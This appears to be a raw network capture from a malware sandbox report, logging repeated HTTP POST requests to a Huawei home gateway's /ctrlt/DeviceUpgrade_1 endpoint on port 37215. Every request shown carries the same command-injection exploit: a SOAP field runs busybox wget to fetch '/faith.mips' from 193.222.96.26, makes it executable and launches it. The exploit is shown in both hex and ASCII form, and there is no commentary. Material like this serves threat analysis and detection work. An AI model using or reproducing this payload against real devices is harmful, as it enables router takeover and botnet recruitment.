Nov 19, 2023 09:17:22.111577988 CET	2712	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:31.582248926 CET	2957	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	33702	156.226.14.245	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:16.199665070 CET	919	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:17.864303112 CET	951	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:19.816040039 CET	1006	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:23.751486063 CET	1116	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:31.686503887 CET	1343	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:47.300339937 CET	1762	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:18.272074938 CET	2603	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	156.226.14.245	37215	192.168.2.23	33702

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:16.199665070 CET	919	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 